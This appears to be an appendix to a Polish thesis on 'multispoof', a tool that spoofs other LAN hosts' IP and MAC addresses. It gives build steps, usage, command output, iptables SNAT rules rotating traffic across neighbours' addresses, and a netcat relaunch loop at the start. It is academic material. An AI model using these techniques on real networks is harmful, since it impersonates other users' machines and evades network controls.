trap clean_up 15 2

initial_launch

while [ true ]
do
  CANDIDATE=`ps -C nc -o pid=,etime=|tr -d ":"|sort -k 2|head -n 1|awk '{print $1}'`
  echo Killing $CANDIDATE
  kill $CANDIDATE
  launch_netcat
  sleep 2
done

          

B.1 Wymagania

Na powyższych listach nie zostały uwzględnione wymagania poszczególnych bibliotek i narzędzi, jak np. obsługa gniazd typu PACKET w Linuksie, od której zależy działanie biblioteki libpcap.

B.2 Kompilacja i instalacja

  $ tar zxf multispoof-0.6.1.tar.gz
  $ cd multispoof-0.6.1
      

  $ make
      

  # make install
      

B.3 Obsługa

Po pomyślnej instalacji program multispoof powinien znajdować się w ścieżce dostępu. Aplikacja do poprawnego działania wymaga uprawnień administratora, ponieważ korzysta z bezpośredniego dostępu do sieci z pominięciem stosu TCP/IP (podsłuchiwanie i wstrzykiwanie danych do sieci – podrozdział 3.3.1), tworzy wirtualny interfejs tap (podrozdział 3.3.2), przeładowuje reguły iptables (podrozdziały 3.5.1 i 3.5.2) oraz zmienia adresy IP a także manipuluje tablicami ARP i routingu (podrozdział 3.6). Przed uruchomieniem należy sprawdzić, czy w systemie działa klient DHCP i jeśli znajduje się on w pamięci konieczne jest jego zakończenie. Aplikacja multispoof na czas działania zdejmuje adres IP z interfejsu fizycznego i przydziela go do interfejsu wirtualnego tap. Klient DHCP mógłby przydzielić adres z powrotem do interfejsu fizycznego, co doprowadziłoby do sytuacji, w której dwa interfejsy dzieliłyby jeden adres IP.

Uruchomienie aplikacji multispoof z parametrem -h spowoduje wyświetlenie skróconego opisu obsługi programu wraz z listą opcji. Lista ta została przedstawiona w tabeli B.1.

  # multispoof -vi eth1
      

  multispoof: PID 6858
  multispoof: Discovering network setup.
  multispoof: Real interface: eth1, tap interface: tap0
  multispoof: Gateway ip: '192.168.1.201' mac: '00:20:AF:C4:6F:E3'
  multispoof: Scan ip: '192.168.1.33/24' mac: '52:54:00:12:34:57'
  multispoof: Min age: 300, min test age: 3600
  multispoof: Intervals - natman: 5, conncheck: 6, scanarp: 60
  netdb: Listening on /tmp/multispoof.XXtIpgfL/socket
  rx (tapio): listening on eth1
  rx (deta): listening on eth1
  tx (scanarp): using device eth1
  tx (deta): using device eth1
  tapio: virtual interface: tap0
  tx (tapio): using device eth1
  cmac (unspoof): Using 7e:e5:3e:48:3b:5f as default mac
      

  $ ip addr show dev eth1
  2: eth1: <BROADCAST,MULTICAST,UP> mtu 1500 qdisc pfifo_fast qlen 1000
      link/ether 52:54:00:12:34:56 brd ff:ff:ff:ff:ff:ff
      inet 172.20.0.2/16 brd 172.20.255.255 scope global eth0
  $ ip route
  192.168.1.0/24 dev eth1  proto kernel  scope link  src 192.168.1.33 
  default via 192.168.1.201 dev eth1
  $ arp -na
  ? (192.168.1.201) at 00:20:AF:C4:6F:E3 [ether] on eth1
      

  $ ip addr show dev eth1
  3: eth1: <BROADCAST,MULTICAST,UP> mtu 1500 qdisc pfifo_fast qlen 1000
      link/ether 52:54:00:12:34:57 brd ff:ff:ff:ff:ff:ff
  $ ip addr show dev tap0
  5: tap0: <BROADCAST,MULTICAST,UP> mtu 1500 qdisc pfifo_fast qlen 500
      link/ether 7e:e5:3e:48:3b:5f brd ff:ff:ff:ff:ff:ff
      inet 192.168.1.33/24 scope global tap0
  $ ip route
  192.168.1.0/24 dev tap0  proto kernel  scope link  src 192.168.1.33 
  default via 192.168.1.201 dev tap0 
  $ arp -na
  ? (192.168.1.201) at 00:20:AF:C4:6F:E3 [ether] PERM on tap0
      

  deta: Adding host 192.168.1.42 (00:00:86:3d:bb:fd)
      

  # socat UNIX-CONNECT:/tmp/multispoof.XXtIpgfL/socket -
  +OK Welcome
  dump
  192.168.1.23
  192.168.1.42
  192.168.1.69
  192.168.1.47
  +OK Dump complete
  quit
  +OK Bye
      

  # iptables -t nat -nL multispoof-sub
  Chain multispoof-sub (1 references)
  target     prot opt source               destination         
  SNAT       all  --  0.0.0.0/0            0.0.0.0/0 \
  every 2th packet #0 to:192.168.1.23 
  SNAT       all  --  0.0.0.0/0            0.0.0.0/0 \
  every 2th packet #1 to:192.168.1.42 
      

  # tcpdump -eni eth1 icmp
  tcpdump: WARNING: eth1: no IPv4 address assigned
  tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
  listening on eth1, link-type EN10MB (Ethernet), capture size 96 bytes
  23:21:27.997833 00:20:ed:b6:78:43 > 00:20:af:c4:6f:e3, ethertype IPv4 (0x0800), \
  length 98: IP 192.168.1.23 > 212.77.100.101: icmp 64: echo request seq 1
  23:21:28.039748 00:20:af:c4:6f:e3 > 00:20:ed:b6:78:43, ethertype IPv4 (0x0800), \
  length 98: IP 212.77.100.101 > 192.168.1.23: icmp 64: echo reply seq 1
  23:21:28.992051 00:02:44:7b:09:11 > 00:20:af:c4:6f:e3, ethertype IPv4 (0x0800), \
  length 98: IP 192.168.1.42 > 212.77.100.101: icmp 64: echo request seq 2
  23:21:29.036361 00:20:af:c4:6f:e3 > 00:02:44:7b:09:11, ethertype IPv4 (0x0800), \
  length 98: IP 212.77.100.101 > 192.168.1.42: icmp 64: echo reply seq 2
  23:21:29.992307 00:20:ed:b6:78:43 > 00:20:af:c4:6f:e3, ethertype IPv4 (0x0800), \
  length 98: IP 192.168.1.23 > 212.77.100.101: icmp 64: echo request seq 3
  23:21:30.046712 00:20:af:c4:6f:e3 > 00:20:ed:b6:78:43, ethertype IPv4 (0x0800), \
  length 98: IP 212.77.100.101 > 192.168.1.23: icmp 64: echo reply seq 3
  23:21:30.994180 00:02:44:7b:09:11 > 00:20:af:c4:6f:e3, ethertype IPv4 (0x0800), \
  length 98: IP 192.168.1.42 > 212.77.100.101: icmp 64: echo request seq 4
  23:21:31.098238 00:20:af:c4:6f:e3 > 00:02:44:7b:09:11, ethertype IPv4 (0x0800), \
  length 98: IP 212.77.100.101 > 192.168.1.42: icmp 64: echo reply seq 4
      

W przykładzie transmisji programu ping, zmianie ulega każdy kolejny pakiet. Jednak w przypadku protokołów połączeniowych, takich jak TCP adresy będą zmieniane dla połączeń, tzn. wszystkie pakiety w obrębie jednego połączenia będą miały taki sam adres. Należy podkreślić, że aplikacja multispoof nie zajmuje się śledzeniem połączeń, za tę czynność odpowiedzialne jest jądro systemu. Aplikacja ustala jedynie reguły podsystemu Netfilter. Więcej na ten temat można znaleźć w podrozdziale 3.5.2.